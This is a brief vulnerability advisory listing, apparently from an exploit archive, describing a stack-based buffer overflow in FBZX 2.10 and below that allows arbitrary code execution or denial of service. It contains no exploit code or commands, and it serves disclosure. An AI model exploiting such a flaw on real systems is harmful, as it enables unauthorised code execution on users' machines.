FBZX 2.10 Local Buffer Overflow

FBZX 2.10 Local Buffer Overflow
Posted Nov 12, 2015
Authored by Juan Sacco

FBZX versions 2.10 and below are prone to a stack-based buffer overflow vulnerability because the application fails to perform adequate boundary-checks on user-supplied input. An attacker could exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial of service condition.
